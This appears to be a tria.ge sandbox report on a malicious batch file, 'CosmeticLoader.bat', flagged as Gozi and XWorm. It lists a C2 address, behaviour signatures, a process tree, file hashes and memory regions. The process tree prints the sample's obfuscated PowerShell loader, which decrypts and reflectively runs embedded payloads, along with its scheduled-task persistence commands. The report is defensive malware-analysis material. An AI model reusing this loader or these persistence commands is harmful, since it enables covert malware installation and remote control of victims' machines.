Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    149s
  • max time network
    139s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    12/09/2024, 08:08

General

  • Target

    CosmeticLoader.bat

  • Size

    462KB

  • MD5

    d44126df70e3dbdff887215a95e6f3ce

  • SHA1

    6d729305d24b9ede2bef06b7885c4348e1899287

  • SHA256

    5a1bc7923a04c38975120facb005961068ea9b81cdcbecf7595c9cbcb73dda68

  • SHA512

    cd63b04365d8edf905ce2cea4a3c205761d65c0feef67b8840bbc87078d8739ecf735449e8cffdcae48e5f45895f62860dff6acee1da7e8701ded067f0527daf

  • SSDEEP

    12288:+vhOfI50mwS2DU3R2ytr9vOH7OCGrGa4c:+vj97IAm7orkc

Malware Config

Extracted

Family

gozi

Extracted

Family

xworm

C2

127.0.0.1:7000

80.76.49.176:7000

Attributes
  • Install_directory

    %AppData%

  • install_file

    XClient.exe

Signatures

  • Detect Xworm Payload 1 IoCs
  • Gozi

    Gozi is a well-known and widely distributed banking trojan.

  • Xworm

    Xworm is a remote access trojan written in C#.

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 16 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 42 IoCs
  • Modifies registry class 8 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of UnmapMainImage 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k DcomLaunch -p
    1⤵
    • Drops file in System32 directory
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:772
    • C:\Windows\System32\mousocoreworker.exe
      C:\Windows\System32\mousocoreworker.exe -Embedding
      2⤵
        PID:4028
      • C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
        C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
        2⤵
          PID:4980
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k RPCSS -p
        1⤵
          PID:896
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
          1⤵
            PID:944
          • C:\Windows\system32\svchost.exe
            C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
            1⤵
              PID:464
            • C:\Windows\System32\svchost.exe
              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
              1⤵
                PID:676
              • C:\Windows\system32\svchost.exe
                C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
                1⤵
                • Drops file in System32 directory
                PID:984
                • C:\Users\Admin\AppData\Roaming\XClient.exe
                  C:\Users\Admin\AppData\Roaming\XClient.exe
                  2⤵
                  • Executes dropped EXE
                  PID:824
              • C:\Windows\System32\svchost.exe
                C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
                1⤵
                  PID:1032
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p
                  1⤵
                    PID:1052
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
                    1⤵
                      PID:1064
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
                      1⤵
                        PID:1104
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
                        1⤵
                          PID:1232
                        • C:\Windows\System32\svchost.exe
                          C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
                          1⤵
                            PID:1240
                          • C:\Windows\system32\svchost.exe
                            C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
                            1⤵
                              PID:1348
                            • C:\Windows\system32\svchost.exe
                              C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
                              1⤵
                                PID:1388
                              • C:\Windows\system32\svchost.exe
                                C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
                                1⤵
                                  PID:1452
                                • C:\Windows\System32\svchost.exe
                                  C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
                                  1⤵
                                    PID:1464
                                  • C:\Windows\system32\svchost.exe
                                    C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
                                    1⤵
                                      PID:1488
                                    • C:\Windows\system32\svchost.exe
                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
                                      1⤵
                                        PID:1592
                                      • C:\Windows\System32\svchost.exe
                                        C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
                                        1⤵
                                          PID:1648
                                        • C:\Windows\System32\svchost.exe
                                          C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
                                          1⤵
                                            PID:1692
                                          • C:\Windows\System32\svchost.exe
                                            C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
                                            1⤵
                                              PID:1720
                                            • C:\Windows\System32\svchost.exe
                                              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                              1⤵
                                                PID:1804
                                              • C:\Windows\system32\svchost.exe
                                                C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
                                                1⤵
                                                  PID:1924
                                                • C:\Windows\system32\svchost.exe
                                                  C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
                                                  1⤵
                                                    PID:1968
                                                  • C:\Windows\System32\svchost.exe
                                                    C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                    1⤵
                                                      PID:2032
                                                    • C:\Windows\System32\svchost.exe
                                                      C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
                                                      1⤵
                                                        PID:1132
                                                      • C:\Windows\system32\svchost.exe
                                                        C:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p
                                                        1⤵
                                                          PID:2072
                                                        • C:\Windows\System32\svchost.exe
                                                          C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
                                                          1⤵
                                                            PID:2120
                                                          • C:\Windows\system32\svchost.exe
                                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
                                                            1⤵
                                                              PID:2224
                                                            • C:\Windows\System32\svchost.exe
                                                              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
                                                              1⤵
                                                                PID:2256
                                                              • C:\Windows\system32\svchost.exe
                                                                C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
                                                                1⤵
                                                                  PID:2340
                                                                • C:\Windows\system32\svchost.exe
                                                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
                                                                  1⤵
                                                                    PID:2348
                                                                  • C:\Windows\system32\svchost.exe
                                                                    C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
                                                                    1⤵
                                                                    • Drops file in System32 directory
                                                                    • Modifies data under HKEY_USERS
                                                                    PID:2520
                                                                  • C:\Windows\system32\svchost.exe
                                                                    C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
                                                                    1⤵
                                                                      PID:2568
                                                                    • C:\Windows\System32\svchost.exe
                                                                      C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
                                                                      1⤵
                                                                        PID:2620
                                                                      • C:\Windows\system32\svchost.exe
                                                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
                                                                        1⤵
                                                                          PID:2628
                                                                        • C:\Windows\system32\svchost.exe
                                                                          C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
                                                                          1⤵
                                                                            PID:2356
                                                                          • C:\Windows\system32\svchost.exe
                                                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
                                                                            1⤵
                                                                              PID:3240
                                                                            • C:\Windows\system32\svchost.exe
                                                                              C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
                                                                              1⤵
                                                                                PID:3360
                                                                              • C:\Windows\Explorer.EXE
                                                                                C:\Windows\Explorer.EXE
                                                                                1⤵
                                                                                • Suspicious use of UnmapMainImage
                                                                                PID:3444
                                                                                • C:\Windows\system32\cmd.exe
                                                                                  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\CosmeticLoader.bat"
                                                                                  2⤵
                                                                                  • Suspicious use of WriteProcessMemory
                                                                                  PID:3000
                                                                                  • C:\Windows\system32\cmd.exe
                                                                                    C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('twkRdSS9rx0e1GAS+xOYGpTEHiXnefOd1aQP1MfgoFw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('iv04Ns0kPKLIVTUZA6Q2SQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $Zxwkp=New-Object System.IO.MemoryStream(,$param_var); $JOKcw=New-Object System.IO.MemoryStream; $vznpW=New-Object System.IO.Compression.GZipStream($Zxwkp, [IO.Compression.CompressionMode]::Decompress); $vznpW.CopyTo($JOKcw); $vznpW.Dispose(); $Zxwkp.Dispose(); $JOKcw.Dispose(); $JOKcw.ToArray();}function execute_function($param_var,$param2_var){ $Ekltt=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uOQTi=$Ekltt.EntryPoint; $uOQTi.Invoke($null, $param2_var);}$oFsgC = 'C:\Users\Admin\AppData\Local\Temp\CosmeticLoader.bat';$host.UI.RawUI.WindowTitle = $oFsgC;$emRHs=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($oFsgC).Split([Environment]::NewLine);foreach ($hVxGX in $emRHs) { if ($hVxGX.StartsWith('apqHOrrBYoUaaAYCNYVK')) { $TkgLL=$hVxGX.Substring(20); break; }}$payloads_var=[string[]]$TkgLL.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
                                                                                    3⤵
                                                                                      PID:2788
                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
                                                                                      3⤵
                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                      • Modifies registry class
                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                      • Suspicious use of WriteProcessMemory
                                                                                      PID:2056
                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName '$phantom-RuntimeBroker_startup_989_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_989.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
                                                                                        4⤵
                                                                                        • Command and Scripting Interpreter: PowerShell
                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                        PID:2508
                                                                                      • C:\Windows\System32\WScript.exe
                                                                                        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\$phantom-startup_str_989.vbs"
                                                                                        4⤵
                                                                                        • Checks computer location settings
                                                                                        • Suspicious use of WriteProcessMemory
                                                                                        PID:3672
                                                                                        • C:\Windows\system32\cmd.exe
                                                                                          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\$phantom-startup_str_989.bat" "
                                                                                          5⤵
                                                                                          • Suspicious use of WriteProcessMemory
                                                                                          PID:4316
                                                                                          • C:\Windows\system32\cmd.exe
                                                                                            C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('twkRdSS9rx0e1GAS+xOYGpTEHiXnefOd1aQP1MfgoFw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('iv04Ns0kPKLIVTUZA6Q2SQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $Zxwkp=New-Object System.IO.MemoryStream(,$param_var); $JOKcw=New-Object System.IO.MemoryStream; $vznpW=New-Object System.IO.Compression.GZipStream($Zxwkp, [IO.Compression.CompressionMode]::Decompress); $vznpW.CopyTo($JOKcw); $vznpW.Dispose(); $Zxwkp.Dispose(); $JOKcw.Dispose(); $JOKcw.ToArray();}function execute_function($param_var,$param2_var){ $Ekltt=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uOQTi=$Ekltt.EntryPoint; $uOQTi.Invoke($null, $param2_var);}$oFsgC = 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_989.bat';$host.UI.RawUI.WindowTitle = $oFsgC;$emRHs=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($oFsgC).Split([Environment]::NewLine);foreach ($hVxGX in $emRHs) { if ($hVxGX.StartsWith('apqHOrrBYoUaaAYCNYVK')) { $TkgLL=$hVxGX.Substring(20); break; }}$payloads_var=[string[]]$TkgLL.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
                                                                                            6⤵
                                                                                              PID:4620
                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
                                                                                              6⤵
                                                                                              • Blocklisted process makes network request
                                                                                              • Command and Scripting Interpreter: PowerShell
                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                              • Suspicious use of WriteProcessMemory
                                                                                              PID:5048
                                                                                              • C:\Windows\System32\schtasks.exe
                                                                                                "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "XClient" /tr "C:\Users\Admin\AppData\Roaming\XClient.exe"
                                                                                                7⤵
                                                                                                • Scheduled Task/Job: Scheduled Task
                                                                                                PID:3252
                                                                                  • C:\Windows\system32\svchost.exe
                                                                                    C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
                                                                                    1⤵
                                                                                      PID:3560
                                                                                    • C:\Windows\system32\svchost.exe
                                                                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
                                                                                      1⤵
                                                                                      • Modifies data under HKEY_USERS
                                                                                      PID:3884
                                                                                    • C:\Windows\System32\svchost.exe
                                                                                      C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
                                                                                      1⤵
                                                                                        PID:4232
                                                                                      • C:\Windows\system32\svchost.exe
                                                                                        C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
                                                                                        1⤵
                                                                                          PID:2168
                                                                                        • C:\Windows\system32\svchost.exe
                                                                                          C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
                                                                                          1⤵
                                                                                          • Modifies data under HKEY_USERS
                                                                                          PID:1740
                                                                                        • C:\Windows\System32\svchost.exe
                                                                                          C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
                                                                                          1⤵
                                                                                            PID:4168
                                                                                          • C:\Windows\system32\svchost.exe
                                                                                            C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
                                                                                            1⤵
                                                                                              PID:5076
                                                                                            • C:\Windows\system32\svchost.exe
                                                                                              C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
                                                                                              1⤵
                                                                                                PID:3116
                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
                                                                                                1⤵
                                                                                                • Checks processor information in registry
                                                                                                PID:848

                                                                                              Network

                                                                                              MITRE ATT&CK Enterprise v15

                                                                                              Replay Monitor

                                                                                              Loading Replay Monitor...

                                                                                              Downloads

                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                                                                                                Filesize

                                                                                                3KB

                                                                                                MD5

                                                                                                661739d384d9dfd807a089721202900b

                                                                                                SHA1

                                                                                                5b2c5d6a7122b4ce849dc98e79a7713038feac55

                                                                                                SHA256

                                                                                                70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf

                                                                                                SHA512

                                                                                                81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8

                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

                                                                                                Filesize

                                                                                                53KB

                                                                                                MD5

                                                                                                a26df49623eff12a70a93f649776dab7

                                                                                                SHA1

                                                                                                efb53bd0df3ac34bd119adf8788127ad57e53803

                                                                                                SHA256

                                                                                                4ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245

                                                                                                SHA512

                                                                                                e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c

                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

                                                                                                Filesize

                                                                                                2KB

                                                                                                MD5

                                                                                                005bc2ef5a9d890fb2297be6a36f01c2

                                                                                                SHA1

                                                                                                0c52adee1316c54b0bfdc510c0963196e7ebb430

                                                                                                SHA256

                                                                                                342544f99b409fd415b305cb8c2212c3e1d95efc25e78f6bf8194e866ac45b5d

                                                                                                SHA512

                                                                                                f8aadbd743495d24d9476a5bb12c8f93ffb7b3cc8a8c8ecb49fd50411330c676c007da6a3d62258d5f13dd5dacc91b28c5577f7fbf53c090b52e802f5cc4ea22

                                                                                              • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ktkzh3cb.yex.psm1

                                                                                                Filesize

                                                                                                60B

                                                                                                MD5

                                                                                                d17fe0a3f47be24a6453e9ef58c94641

                                                                                                SHA1

                                                                                                6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                                                SHA256

                                                                                                96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                                                SHA512

                                                                                                5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                                              • C:\Users\Admin\AppData\Roaming\$phantom-startup_str_989.bat

                                                                                                Filesize

                                                                                                462KB

                                                                                                MD5

                                                                                                d44126df70e3dbdff887215a95e6f3ce

                                                                                                SHA1

                                                                                                6d729305d24b9ede2bef06b7885c4348e1899287

                                                                                                SHA256

                                                                                                5a1bc7923a04c38975120facb005961068ea9b81cdcbecf7595c9cbcb73dda68

                                                                                                SHA512

                                                                                                cd63b04365d8edf905ce2cea4a3c205761d65c0feef67b8840bbc87078d8739ecf735449e8cffdcae48e5f45895f62860dff6acee1da7e8701ded067f0527daf

                                                                                              • C:\Users\Admin\AppData\Roaming\$phantom-startup_str_989.vbs

                                                                                                Filesize

                                                                                                124B

                                                                                                MD5

                                                                                                4694bc39ad366734e3364d143a54180e

                                                                                                SHA1

                                                                                                c2a3140a64f4b1eb2b271b01ba3a9ec365848d6b

                                                                                                SHA256

                                                                                                fa25bb589d44060f9966238e1fab6aeab41e3253bde4f3e3f00ba9c33658918a

                                                                                                SHA512

                                                                                                d9323dc70f4609ba66c89e0e077f4c00fb3b2539fe8504e126157dd075ea197604ad039b4009d5439bfc2e5ebc5159eacda1a32885d7f64262e5fe3cf492ee09

                                                                                              • C:\Users\Admin\AppData\Roaming\XClient.exe

                                                                                                Filesize

                                                                                                442KB

                                                                                                MD5

                                                                                                04029e121a0cfa5991749937dd22a1d9

                                                                                                SHA1

                                                                                                f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

                                                                                                SHA256

                                                                                                9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

                                                                                                SHA512

                                                                                                6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

                                                                                              • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work

                                                                                                Filesize

                                                                                                2KB

                                                                                                MD5

                                                                                                8abf2d6067c6f3191a015f84aa9b6efe

                                                                                                SHA1

                                                                                                98f2b0a5cdb13cd3d82dc17bd43741bf0b3496f7

                                                                                                SHA256

                                                                                                ee18bd3259f220c41062abcbe71a421da3e910df11b9f86308a16cdc3a66fbea

                                                                                                SHA512

                                                                                                c2d686a6373efcff583c1ef50c144c59addb8b9c4857ccd8565cd8be3c94b0ac0273945167eb04ebd40dfb0351e4b66cffe4c4e478fb7733714630a11f765b63

                                                                                              • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work

                                                                                                Filesize

                                                                                                2KB

                                                                                                MD5

                                                                                                f313c5b4f95605026428425586317353

                                                                                                SHA1

                                                                                                06be66fa06e1cffc54459c38d3d258f46669d01a

                                                                                                SHA256

                                                                                                129d0b993cd3858af5b7e87fdf74d8e59e6f2110184b5c905df8f5f6f2c39d8b

                                                                                                SHA512

                                                                                                b87a829c86eff1d10e1590b18a9909f05101a535e5f4cef914a4192956eb35a8bfef614c9f95d53783d77571687f3eb3c4e8ee2f24d23ad24e0976d8266b8890

                                                                                              • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

                                                                                                Filesize

                                                                                                2KB

                                                                                                MD5

                                                                                                ceb7caa4e9c4b8d760dbf7e9e5ca44c5

                                                                                                SHA1

                                                                                                a3879621f9493414d497ea6d70fbf17e283d5c08

                                                                                                SHA256

                                                                                                98c054088df4957e8d6361fd2539c219bcf35f8a524aad8f5d1a95f218e990e9

                                                                                                SHA512

                                                                                                1eddfbf4cb62d3c5b4755a371316304aaeabb00f01bad03fb4f925a98a2f0824f613537d86deddd648a74d694dc13ed5183e761fdc1ec92589f6fa28beb7fbff

                                                                                              • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

                                                                                                Filesize

                                                                                                2KB

                                                                                                MD5

                                                                                                7d612892b20e70250dbd00d0cdd4f09b

                                                                                                SHA1

                                                                                                63251cfa4e5d6cbf6fb14f6d8a7407dbe763d3f5

                                                                                                SHA256

                                                                                                727c9e7b91e144e453d5b32e18f12508ee84dabe71bc852941d9c9b4923f9e02

                                                                                                SHA512

                                                                                                f8d481f3300947d49ce5ab988a9d4e3154746afccc97081cbed1135ffb24fc107203d485dda2d5d714e74e752c614d8cfd16781ea93450fe782ffae3f77066d1

                                                                                              • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work

                                                                                                Filesize

                                                                                                2KB

                                                                                                MD5

                                                                                                1e8e2076314d54dd72e7ee09ff8a52ab

                                                                                                SHA1

                                                                                                5fd0a67671430f66237f483eef39ff599b892272

                                                                                                SHA256

                                                                                                55f203d6b40a39a6beba9dd3a2cb9034284f49578009835dd4f0f8e1db6ebe2f

                                                                                                SHA512

                                                                                                5b0c97284923c4619d9c00cba20ce1c6d65d1826abe664c390b04283f7a663256b4a6efe51f794cb5ec82ccea80307729addde841469da8d041cbcfd94feb0f6

                                                                                              • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work

                                                                                                Filesize

                                                                                                2KB

                                                                                                MD5

                                                                                                0b990e24f1e839462c0ac35fef1d119e

                                                                                                SHA1

                                                                                                9e17905f8f68f9ce0a2024d57b537aa8b39c6708

                                                                                                SHA256

                                                                                                a1106ed0845cd438e074344e0fe296dc10ee121a0179e09398eaaea2357c614a

                                                                                                SHA512

                                                                                                c65ba42fc0a2cb0b70888beb8ca334f7d5a8eaf954a5ef7adaecbcb4ce8d61b34858dfd9560954f95f59b4d8110a79ceaa39088b6a0caf8b42ceda41b46ec4a4

                                                                                              • memory/772-113-0x00007FFDB09D0000-0x00007FFDB09E0000-memory.dmp

                                                                                                Filesize

                                                                                                64KB

                                                                                              • memory/984-60-0x00007FFDB09D0000-0x00007FFDB09E0000-memory.dmp

                                                                                                Filesize

                                                                                                64KB

                                                                                              • memory/1132-111-0x00007FFDB09D0000-0x00007FFDB09E0000-memory.dmp

                                                                                                Filesize

                                                                                                64KB

                                                                                              • memory/1348-112-0x00007FFDB09D0000-0x00007FFDB09E0000-memory.dmp

                                                                                                Filesize

                                                                                                64KB

                                                                                              • memory/1692-116-0x00007FFDB09D0000-0x00007FFDB09E0000-memory.dmp

                                                                                                Filesize

                                                                                                64KB

                                                                                              • memory/1720-114-0x00007FFDB09D0000-0x00007FFDB09E0000-memory.dmp

                                                                                                Filesize

                                                                                                64KB

                                                                                              • memory/1924-108-0x00007FFDB09D0000-0x00007FFDB09E0000-memory.dmp

                                                                                                Filesize

                                                                                                64KB

                                                                                              • memory/1968-61-0x00007FFDB09D0000-0x00007FFDB09E0000-memory.dmp

                                                                                                Filesize

                                                                                                64KB

                                                                                              • memory/2056-0-0x00007FFDD1AC3000-0x00007FFDD1AC5000-memory.dmp

                                                                                                Filesize

                                                                                                8KB

                                                                                              • memory/2056-1-0x000001ACA5BA0000-0x000001ACA5BC2000-memory.dmp

                                                                                                Filesize

                                                                                                136KB

                                                                                              • memory/2056-11-0x00007FFDD1AC0000-0x00007FFDD2581000-memory.dmp

                                                                                                Filesize

                                                                                                10.8MB

                                                                                              • memory/2056-12-0x00007FFDD1AC0000-0x00007FFDD2581000-memory.dmp

                                                                                                Filesize

                                                                                                10.8MB

                                                                                              • memory/2056-13-0x000001ACA5FA0000-0x000001ACA5FE4000-memory.dmp

                                                                                                Filesize

                                                                                                272KB

                                                                                              • memory/2056-14-0x000001ACA6070000-0x000001ACA60E6000-memory.dmp

                                                                                                Filesize

                                                                                                472KB

                                                                                              • memory/2056-15-0x000001ACA5C20000-0x000001ACA5C28000-memory.dmp

                                                                                                Filesize

                                                                                                32KB

                                                                                              • memory/2056-51-0x00007FFDD1AC0000-0x00007FFDD2581000-memory.dmp

                                                                                                Filesize

                                                                                                10.8MB

                                                                                              • memory/2056-50-0x00007FFDD1AC0000-0x00007FFDD2581000-memory.dmp

                                                                                                Filesize

                                                                                                10.8MB

                                                                                              • memory/2056-16-0x000001ACA5FF0000-0x000001ACA6048000-memory.dmp

                                                                                                Filesize

                                                                                                352KB

                                                                                              • memory/2120-109-0x00007FFDB09D0000-0x00007FFDB09E0000-memory.dmp

                                                                                                Filesize

                                                                                                64KB

                                                                                              • memory/2340-110-0x00007FFDB09D0000-0x00007FFDB09E0000-memory.dmp

                                                                                                Filesize

                                                                                                64KB

                                                                                              • memory/2348-62-0x00007FFDB09D0000-0x00007FFDB09E0000-memory.dmp

                                                                                                Filesize

                                                                                                64KB

                                                                                              • memory/2356-106-0x00007FFDB09D0000-0x00007FFDB09E0000-memory.dmp

                                                                                                Filesize

                                                                                                64KB

                                                                                              • memory/2508-29-0x00007FFDD1AC0000-0x00007FFDD2581000-memory.dmp

                                                                                                Filesize

                                                                                                10.8MB

